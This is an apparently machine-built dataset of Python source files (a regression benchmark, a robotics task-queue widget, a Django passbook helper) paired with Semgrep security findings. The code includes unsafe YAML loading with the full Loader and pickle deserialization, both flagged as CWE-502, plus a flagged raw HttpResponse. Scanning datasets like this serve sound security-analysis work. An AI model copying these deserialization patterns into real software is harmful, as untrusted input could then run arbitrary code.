["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-95"
] | [
"rules.python.lang.security.audit.eval-detected"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
47
] | [
47
] | [
25
] | [
36
] | [
"A03:2021 - Injection"
] | [
"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."
] | [
5
] | [
"LOW"
] | [
"HIGH"
] | LEDLogic.py | /main/LEDLogic.py | ssaini4/RoboticLamp | BSD-2-Clause | |
2024-11-18T19:29:44.507446+00:00 | 1,635,776,102,000 | bd57f88bfa9237416c8334b9f23e8a88c3e2501d | 3 | {
"blob_id": "bd57f88bfa9237416c8334b9f23e8a88c3e2501d",
"branch_name": "refs/heads/main",
"committer_date": 1635776102000,
"content_id": "0f4a6f17b42afed3a3dd3f7617a5f240e064ba72",
"detected_licenses": [
"MIT"
],
"directory_id": "dba4979e67596cde68ec148cb521fd32e52c722c",
"extension": "py",
"filename": "regression_estimation.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 420876077,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5377,
"license": "MIT",
"license_type": "permissive",
"path": "/l_regression/regression_estimation.py",
"provenance": "stack-edu-0054.json.gz:580312",
"repo_name": "PeterMoresco/ml_scripts",
"revision_date": 1635776102000,
"revision_id": "8509cbecffac83601d96d05a8b8c39a7034bd30f",
"snapshot_id": "3a0ec70743fe91e64782d4296814c2c40ba93371",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/PeterMoresco/ml_scripts/8509cbecffac83601d96d05a8b8c39a7034bd30f/l_regression/regression_estimation.py",
"visit_date": "2023-08-25T01:29:00.122833"
} | 2.734375 | stackv2 | '''
The goal of this script is measure the efficiency of
different regression and approximation methods.
'''
import os
import shutil
import click
import numpy as np
from yaml import load, safe_load
import pandas as pd
from itertools import product
from sklearn.metrics import r2_score
from sklearn.metrics import mean_absolute_error
try:
from yaml import CLoader as Loader
except ImportError:
from yaml import Loader
class regression_test:
def __init__(self, conf, X_train, X_test, y_train, y_test):
# Set the random_state
rng = np.random.RandomState(0)
self.conf = conf
self.X_train = X_train
self.X_test = X_test
self.y_train = y_train
self.y_test = y_test
self.results = pd.DataFrame(columns=['Regressor', 'Param', 'Score', 'MAE'])
def test(self, best_results=False):
regressors = {
'DecisionTreeRegressor': self.DTR,
'LinearRegression': self.LR,
'Ridge': self.RD,
'SGDRegressor': self.SGDR,
'ElasticNet': self.ENET,
'RandomForestRegressor': self.RFR
}
term_w = shutil.get_terminal_size()[1]
for k, v in regressors.items():
if self.conf.get(k).get('Test'):
self.conf[k].pop('Test')
states = [v for v in self.conf[k].values()]
scenarios = list(product(*states))
with click.progressbar(scenarios, fill_char='-', empty_char='o', width=term_w, color='cyan', show_pos=True, label='Running {}'.format(k)) as bar:
for scene in bar:
clf = v(scene)
clf.fit(self.X_train, self.y_train)
score = clf.score(self.X_test, self.y_test)
mae = mean_absolute_error(self.y_test, clf.predict(self.X_test))
# The join(map(***)) is due to the fact that join
# method only works in strings
self.add_result([k, '-'.join(map(str, scene)), score, mae])
if best_results:
# Print the best results
print('The best 5 results were:')
self.results.sort_values(by=['Score'], ascending=False, inplace=True)
print(self.results[:5])
def add_result(self, res):
self.results.loc[len(self.results.index)] = res
# DecisionTree Regression
def DTR(self, scene):
from sklearn import tree
return tree.DecisionTreeRegressor(
criterion=scene[0],
splitter=scene[1],
max_depth=scene[2])
# LinearRegression
def LR(self, scene):
from sklearn.linear_model import LinearRegression
return LinearRegression(n_jobs=-1, copy_X=True)
# Ridge
def RD(self, scene):
from sklearn.linear_model import Ridge
return Ridge(alpha=scene[0], copy_X=True)
# SGDRegressor
def SGDR(self, scene):
from sklearn.linear_model import SGDRegressor
return SGDRegressor(loss=scene[0], penalty=scene[1],
alpha=scene[2], max_iter=scene[3],
learning_rate=scene[4], power_t=scene[5])
# ElasticNet
def ENET(self, scene):
from sklearn.linear_model import ElasticNet
return ElasticNet(alpha=scene[0], l1_ratio=scene[1],
max_iter=scene[2], copy_X=True)
# RandomForest
def RFR(self, scene):
from sklearn.ensemble import RandomForestRegressor
return RandomForestRegressor(max_depth=scene[0], min_samples_split=scene[1], min_samples_leaf=scene[2], max_features=scene[3], min_impurity_decrease=scene[4], n_jobs=-1)
# SVR
# TheilSenRegressor
# RANSACRegressor
# HuberRegressor
# GaussianNB
@click.command()
@click.option('-cf', '--config_file',
default='',
help='The yaml file with the configurations for the run.')
@click.option('-of', '--output_file',
default='',
help='The file to save the results and parameters of the run.')
@click.option('-br', '--best_results',
default=1,
help='1(True) or 0(False) to print the 5 best results.')
def test(config_file, output_file, best_results):
'''
This script simulate various regressor algorithms based on the parameters described in the yaml file.
The results could be outputed to a csv file or/and printed to the screen.
'''
with open(config_file, 'r') as f:
conf=load(f, Loader=Loader)
from sklearn.model_selection import train_test_split
data = pd.read_csv(conf['General']['dataset_file'])
X = data[conf['General']['x_column']]
y = data[conf['General']['y_column']]
X_train, X_test, y_train, y_test=train_test_split(X, y, test_size=conf['General']['test_size'])
tester=regression_test(conf, X_train, X_test, y_train, y_test)
tester.test(best_results=best_results)
if os.path.isfile(output_file):
tester.results.to_csv(output_file)
if __name__ == '__main__':
test()
'''
There's also the possibilitie of using a preprocessing tool
to transform the features points, like:
- PolynomialFeatures
- SplineTransformer
- Radial Basis Function
Implement the ensemble algorithms
'''
| 144 | 36.34 | 177 | 22 | 1,200 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_1aae7899f86f31b4_ae699f58", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 123, "line_end": 123, "column_start": 10, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/1aae7899f86f31b4.py", "start": {"line": 123, "col": 10, "offset": 4568}, "end": {"line": 123, "col": 32, "offset": 4590}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pyyaml-load_1aae7899f86f31b4_a3716c36", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pyyaml-load", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Detected a possible YAML deserialization vulnerability. `yaml.unsafe_load`, `yaml.Loader`, `yaml.CLoader`, and `yaml.UnsafeLoader` are all known to be unsafe methods of deserializing YAML. An attacker with control over the YAML input could create special YAML input that allows the attacker to run arbitrary Python code. This would allow the attacker to steal files, download and install malware, or otherwise take over the machine. Use `yaml.safe_load` or `yaml.SafeLoader` instead.", "remediation": "load(f, Loader=Loader)", "location": {"file_path": "unknown", "line_start": 124, "line_end": 124, "column_start": 14, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation", "title": null}, {"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-18342", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pyyaml-load", "path": "/tmp/tmppq52ww6s/1aae7899f86f31b4.py", "start": {"line": 124, "col": 14, "offset": 4610}, "end": {"line": 124, "col": 36, "offset": 4632}, "extra": {"message": "Detected a possible YAML deserialization vulnerability. `yaml.unsafe_load`, `yaml.Loader`, `yaml.CLoader`, and `yaml.UnsafeLoader` are all known to be unsafe methods of deserializing YAML. An attacker with control over the YAML input could create special YAML input that allows the attacker to run arbitrary Python code. This would allow the attacker to steal files, download and install malware, or otherwise take over the machine. Use `yaml.safe_load` or `yaml.SafeLoader` instead.", "fix": "load(f, Loader=Loader)", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation", "https://nvd.nist.gov/vuln/detail/CVE-2017-18342"], "category": "security", "technology": ["pyyaml"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pyyaml-load"
] | [
"security"
] | [
"MEDIUM"
] | [
"HIGH"
] | [
124
] | [
124
] | [
14
] | [
36
] | [
"A08:2017 - Insecure Deserialization"
] | [
"Detected a possible YAML deserialization vulnerability. `yaml.unsafe_load`, `yaml.Loader`, `yaml.CLoader`, and `yaml.UnsafeLoader` are all known to be unsafe methods of deserializing YAML. An attacker with control over the YAML input could create special YAML input that allows the attacker to run arbitrary Python ... | [
7.5
] | [
"LOW"
] | [
"MEDIUM"
] | regression_estimation.py | /l_regression/regression_estimation.py | PeterMoresco/ml_scripts | MIT | |
2024-11-18T19:29:46.289945+00:00 | 1,678,436,910,000 | 721e91480e75816ef6db73868790fbe96634bcb2 | 2 | {
"blob_id": "721e91480e75816ef6db73868790fbe96634bcb2",
"branch_name": "refs/heads/master",
"committer_date": 1678436910000,
"content_id": "7fa39cc712c9e8a481715f2865a14f9b00e3a3bc",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "67485a9037ff7c9cdb7a79b1f91e05d1f13b4d7b",
"extension": "py",
"filename": "taskmanagerwidget.py",
"fork_events_count": 5,
"gha_created_at": 1472920291000,
"gha_event_created_at": 1678386600000,
"gha_language": "Python",
"gha_license_id": "BSD-3-Clause",
"github_id": 67300295,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 13257,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/src/python/director/tasks/taskmanagerwidget.py",
"provenance": "stack-edu-0054.json.gz:580330",
"repo_name": "ori-drs/director",
"revision_date": 1678436910000,
"revision_id": "a619dbacfb31f192084403bafb235ef98315415a",
"snapshot_id": "1242c77fd0ec88e0855838b873b8105371d587d4",
"src_encoding": "UTF-8",
"star_events_count": 27,
"url": "https://raw.githubusercontent.com/ori-drs/director/a619dbacfb31f192084403bafb235ef98315415a/src/python/director/tasks/taskmanagerwidget.py",
"visit_date": "2023-03-21T23:11:18.430019"
} | 2.421875 | stackv2 | from director.tasks.robottasks import *
import director.applogic as app
def _splitCamelCase(name):
name = re.sub('(.)([A-Z][a-z]+)', r'\1 \2', name)
return re.sub('([a-z0-9])([A-Z])', r'\1 \2', name)
class TaskItem(om.ObjectModelItem):
def __init__(self, task):
om.ObjectModelItem.__init__(self, task.properties.getProperty('Name'), properties=task.properties)
self.addProperty('Visible', False)
self.setPropertyAttribute('Visible', 'hidden', True)
self.task = task
class TaskLibraryWidget(object):
def __init__(self):
self.taskTree = TaskTree()
self.widget = QtGui.QWidget()
self.addButton = QtGui.QPushButton('add task')
l = QtGui.QGridLayout(self.widget)
l.addWidget(self.taskTree.treeWidget, 0, 0)
l.addWidget(self.taskTree.propertiesPanel, 1, 0)
l.addWidget(self.addButton, 2, 0)
self.widget.setWindowTitle('Task Library')
self.addButton.connect('clicked()', self.onAddTaskClicked)
self.callbacks = callbacks.CallbackRegistry(['OnAddTask'])
#p = self.treeWidget.palette
#p.setColor(QtGui.QPalette.Highlight, QtCore.Qt.green)
#p.setColor(QtGui.QPalette.Normal, QtGui.QPalette.Highlight, QtCore.Qt.red)
#self.treeWidget.setPalette(p)
#item.setBackground(0, QtGui.QBrush(QtCore.Qt.green))
def onAddTaskClicked(self):
task = self.taskTree.getSelectedTask()
if task:
self.callbacks.process('OnAddTask', task.task)
def addTask(self, task, parent=None):
self.taskTree.onAddTask(task, parent)
class TaskTree(object):
def __init__(self):
self.treeWidget = QtGui.QTreeWidget()
self.propertiesPanel = PythonQt.dd.ddPropertiesPanel()
self.objectModel = om.ObjectModelTree()
self.objectModel.init(self.treeWidget, self.propertiesPanel)
#self.treeWidget.setColumnCount(1)
def onSave(self):
def helper(obj, children):
if isinstance(obj, TaskItem):
obj = obj.task
elif obj:
obj = obj.getProperty('Name')
result = [obj, []]
for child in children:
result[1].append(helper(child, child.children()))
return result
state = helper(None, self.objectModel.getTopLevelObjects())
return pickle.dumps(state)
def onLoad(self, serializedData):
state = pickle.loads(serializedData)
assert len(state) == 2
assert state[0] is None
def helper(parent, children):
for child in children:
child, grandChildren = child
if isinstance(child, str):
child = self.addGroup(child, parent)
else:
child = self.onAddTask(child, parent)
helper(child, grandChildren)
helper(state[0], state[1])
def loadTaskDescription(self, description):
taskQueue = self
def helper(obj, children):
for child in children:
assert isinstance(child, list)
assert len(child) == 2
if isinstance(child[0], str):
child, grandChildren = child
group = taskQueue.addGroup(child, obj)
helper(group, grandChildren)
self.objectModel.collapse(group)
else:
taskClass, args = child
assert isinstance(args, dict)
task = taskClass()
for propertyName, propertyValue in args.items():
assert isinstance(propertyName, str)
task.properties.setProperty(propertyName, propertyValue)
taskQueue.onAddTask(task, obj)
helper(None, description)
def assureSelection(self):
objs = self.objectModel.getTopLevelObjects()
if len(objs) == 1:
self.objectModel.setActiveObject(objs[0])
def onAddTask(self, task, parent=None, copy=True):
if copy:
task = task.copy()
obj = TaskItem(task)
parent = parent or self.getSelectedFolder()
self.objectModel.addToObjectModel(obj, parentObj=parent)
self.assureSelection()
return obj
def addGroup(self, groupName, parent=None):
obj = self.objectModel.addContainer(groupName, parent)
obj.setProperty('Visible', False)
obj.setPropertyAttribute('Visible', 'hidden', True)
obj.setPropertyAttribute('Name', 'hidden', False)
self.assureSelection()
return obj
def removeAllTasks(self):
for obj in self.objectModel.getObjects():
self.objectModel.removeFromObjectModel(obj)
def findTaskItem(self, task):
for obj in self.objectModel.getObjects():
if isinstance(obj, TaskItem) and obj.task == task:
return obj
def findTaskItemByName(self, name):
for obj in self.objectModel.getObjects():
if isinstance(obj, om.ContainerItem) and obj.getProperty('Name') == name:
return obj.children()[0]
def selectTask(self, task):
obj = self.findTaskItem(task)
if obj:
self.objectModel.setActiveObject(obj)
def selectTaskByName(self, name):
obj = self.findTaskItemByName(name)
if obj:
self.objectModel.setActiveObject(obj)
def getSelectedTask(self):
if not isinstance(self.objectModel.getActiveObject(), TaskItem):
return None
return self.objectModel.getActiveObject()
def getSelectedFolder(self):
obj = self.objectModel.getActiveObject()
if obj is None:
return None
container = obj if isinstance(obj, om.ContainerItem) else obj.parent()
return container
def getSelectedTasks(self):
obj = self.objectModel.getActiveObject()
folder = self.getSelectedFolder()
tasks = self.getTasks(folder)
if obj != folder:
tasks = tasks[tasks.index(obj):]
return tasks
def getTasks(self, parent=None, fromSelected=False):
selected = self.objectModel.getActiveObject()
tasks = []
add = not fromSelected
queue = self.objectModel.getTopLevelObjects() if parent is None else parent.children()
while queue:
obj = queue.pop(0)
if obj == selected:
add = True
if isinstance(obj, om.ContainerItem):
queue = obj.children() + queue
continue
if add:
tasks.append(obj)
return tasks
class TaskQueueWidget(object):
def __del__(self):
self.timer.stop()
def __init__(self):
self.taskTree = TaskTree()
self.taskQueue = atq.AsyncTaskQueue()
self.taskQueue.connectTaskStarted(self.onTaskStarted)
self.taskQueue.connectTaskEnded(self.onTaskEnded)
self.completedTasks = []
self.timer = TimerCallback(targetFps=5)
self.timer.callback = self.updateDisplay
self.timer.start()
self.widget = QtGui.QWidget()
l = QtGui.QGridLayout(self.widget)
self.queueCombo = QtGui.QComboBox()
self.startButton = QtGui.QPushButton('start')
self.stepButton = QtGui.QPushButton('step')
self.clearButton = QtGui.QPushButton('clear')
self.currentTaskLabel = QtGui.QLabel('')
self.statusTaskLabel = QtGui.QLabel('')
self.statusTaskLabel.visible = False
l.addWidget(self.queueCombo, 0, 0)
l.addWidget(self.taskTree.treeWidget, 1, 0)
l.addWidget(self.taskTree.propertiesPanel, 2, 0)
l.addWidget(self.startButton, 3, 0)
l.addWidget(self.stepButton, 4, 0)
l.addWidget(self.clearButton, 5, 0)
l.addWidget(self.currentTaskLabel, 6, 0)
l.addWidget(self.statusTaskLabel, 7, 0)
self.widget.setWindowTitle('Task Queue')
self.descriptions = {}
self.queueCombo.insertSeparator(0)
self.queueCombo.addItem('Create new...')
self.queueCombo.connect('currentIndexChanged(const QString&)', self.onQueueComboChanged)
self.startButton.connect('clicked()', self.onStart)
self.stepButton.connect('clicked()', self.onStep)
self.clearButton.connect('clicked()', self.onClear)
def loadTaskDescription(self, name, description):
name = _splitCamelCase(name).capitalize()
self.descriptions[name] = description
insertIndex = self.queueCombo.count - 2
self.queueCombo.blockSignals(True)
self.queueCombo.insertItem(insertIndex, name)
self.queueCombo.blockSignals(False)
def onAddQueue(self):
inputDialog = QtGui.QInputDialog()
inputDialog.setInputMode(inputDialog.TextInput)
inputDialog.setLabelText('New queue name:')
inputDialog.setWindowTitle('Enter Name')
inputDialog.setTextValue('')
result = inputDialog.exec_()
if not result:
return
name = inputDialog.textValue()
if name in self.descriptions:
return
emptyDescription = [
['empty', [
]],
]
self.descriptions[name] = emptyDescription
insertIndex = self.queueCombo.count - 2
self.queueCombo.blockSignals(True)
self.queueCombo.insertItem(insertIndex, name)
self.queueCombo.blockSignals(False)
self.setCurrentQueue(name)
def setCurrentQueue(self, name):
assert name in self.descriptions
self.queueCombo.setCurrentIndex(self.queueCombo.findText(name))
def onQueueComboChanged(self, name):
assert len(name)
self.taskTree.removeAllTasks()
if name == 'Create new...':
self.onAddQueue()
else:
description = self.descriptions[name]
self.taskTree.loadTaskDescription(description)
def onClear(self):
assert not self.taskQueue.isRunning
self.taskQueue.reset()
self.taskTree.removeAllTasks()
self.updateDisplay()
def onTaskStarted(self, taskQueue, task):
print('starting task:', task.properties.getProperty('Name'))
self.taskTree.selectTask(task)
item = self.taskTree.findTaskItem(task)
if len(self.completedTasks) and item.getProperty('Visible'):
raise atq.AsyncTaskQueue.PauseException()
def onTaskEnded(self, taskQueue, task):
self.completedTasks.append(task)
self.taskTree.selectTask(self.completedTasks[0])
def updateStatusMessage(self):
currentTask = self.taskQueue.currentTask
if currentTask and currentTask.statusMessage:
text = vis.updateText(currentTask.statusMessage, 'task status message', parent='planning')
text.setProperty('Visible', True)
else:
text = om.findObjectByName('task status message')
if text:
text.setProperty('Visible', False)
def updateDisplay(self):
isRunning = self.taskQueue.isRunning
isEmpty = len(self.taskTree.objectModel._objects) == 0
if isRunning:
self.startButton.text = 'stop'
else:
self.startButton.text = 'start'
self.startButton.setEnabled(not isEmpty)
self.stepButton.setEnabled(not isRunning and not isEmpty)
self.clearButton.setEnabled(not isRunning and not isEmpty)
currentTask = self.taskQueue.currentTask
if currentTask:
self.currentTaskLabel.text = 'Task: <b>%s</b>' % currentTask.properties.getProperty('Name')
else:
self.currentTaskLabel.text = ''
self.updateStatusMessage()
def onStep(self):
assert not self.taskQueue.isRunning
task = self.taskTree.getSelectedTask()
if not task:
return
self.completedTasks = []
self.taskQueue.reset()
self.taskQueue.addTask(task.task)
self.taskQueue.start()
self.updateDisplay()
def onStart(self):
if self.taskQueue.isRunning:
currentTask = self.taskQueue.currentTask
self.taskQueue.stop()
if currentTask:
currentTask.stop()
else:
self.completedTasks = []
self.taskQueue.reset()
for obj in self.taskTree.getSelectedTasks():
#print 'adding task:', obj.task.properties.name
self.taskQueue.addTask(obj.task)
self.taskQueue.start()
self.updateDisplay()
class TaskWidgetManager(object):
def __init__(self):
self.taskLibraryWidget = TaskLibraryWidget()
self.taskQueueWidget = TaskQueueWidget()
self.taskLibraryWidget.callbacks.connect('OnAddTask', self.taskQueueWidget.taskTree.onAddTask)
def init():
global panel
panel = TaskWidgetManager()
dock = app.addWidgetToDock(panel.taskQueueWidget.widget, action=app.getToolBarActions()['ActionTaskManagerPanel'])
dock.hide()
dock = app.addWidgetToDock(panel.taskLibraryWidget.widget)
dock.hide()
return panel
| 437 | 29.34 | 118 | 19 | 2,699 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_a62334e9306e1d77_a3816669", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 78, "line_end": 78, "column_start": 16, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmppq52ww6s/a62334e9306e1d77.py", "start": {"line": 78, "col": 16, "offset": 2383}, "end": {"line": 78, "col": 35, "offset": 2402}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_a62334e9306e1d77_d8151995", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 82, "line_end": 82, "column_start": 17, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmppq52ww6s/a62334e9306e1d77.py", "start": {"line": 82, "col": 17, "offset": 2459}, "end": {"line": 82, "col": 45, "offset": 2487}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-502",
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | [
78,
82
] | [
78,
82
] | [
16,
17
] | [
35,
45
] | [
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.",
"Avoid using `pickle`, which is known to lead to... | [
5,
5
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | taskmanagerwidget.py | /src/python/director/tasks/taskmanagerwidget.py | ori-drs/director | BSD-3-Clause | |
2024-11-18T19:29:51.670705+00:00 | 1,361,177,752,000 | 086de795d12a6be3a1f623d2564766cc018fd77e | 3 | {
"blob_id": "086de795d12a6be3a1f623d2564766cc018fd77e",
"branch_name": "refs/heads/master",
"committer_date": 1361177752000,
"content_id": "b2df86162b726c9a554d7ac9570cfe1fde85c01a",
"detected_licenses": [
"MIT"
],
"directory_id": "6992c11d874236087dd9eca1d789c386c4fcb08f",
"extension": "py",
"filename": "utils.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 905,
"license": "MIT",
"license_type": "permissive",
"path": "/passbook/utils.py",
"provenance": "stack-edu-0054.json.gz:580390",
"repo_name": "timtan/django-passbook",
"revision_date": 1361177752000,
"revision_id": "2bda4b52315b130ddb286c5a4b3a0b8757b640ff",
"snapshot_id": "557f53467a193678b2abb1c23838922a48f916e4",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/timtan/django-passbook/2bda4b52315b130ddb286c5a4b3a0b8757b640ff/passbook/utils.py",
"visit_date": "2020-12-25T04:18:34.548234"
} | 2.65625 | stackv2 | import tempfile
from django.http import HttpResponse
def write_tempfile(data):
'''
Creates a tempory file and writes to it.
Returns the filepath of the file as a string.
'''
temp_file = tempfile.mkstemp()
with open(temp_file[1], 'wb') as f:
f.write(data)
return temp_file[1]
def render_pass(p, **kwargs):
response = HttpResponse(mimetype='application/vnd.apple.pkpass')
response['Content-Disposition'] = 'attachment; filename=%s.pkpass' % p.type
for header in kwargs:
response[header] = kwargs[header]
z = p.zip()
response.write(z)
return response
def to_time_stamp(ts):
desired_ts = (ts).isoformat()
idx_for_point = desired_ts.rfind(".")
desired_ts = desired_ts[:idx_for_point]
if '+' in desired_ts:
idx = desired_ts.rfind('+')
desired_ts = desired_ts[:idx]
tz = 'Z'
return desired_ts + tz | 35 | 24.89 | 79 | 11 | 223 | python | [{"finding_id": "semgrep_rules.python.django.security.audit.xss.direct-use-of-httpresponse_8571af1abf551f64_b21e265a", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "remediation": "", "location": {"file_path": "unknown", "line_start": 17, "line_end": 17, "column_start": 16, "column_end": 69, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "title": null}, {"url": "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "path": "/tmp/tmppq52ww6s/8571af1abf551f64.py", "start": {"line": 17, "col": 16, "offset": 360}, "end": {"line": 17, "col": 69, "offset": 413}, "extra": {"message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render"], "category": "security", "technology": ["django"], "cwe2022-top25": 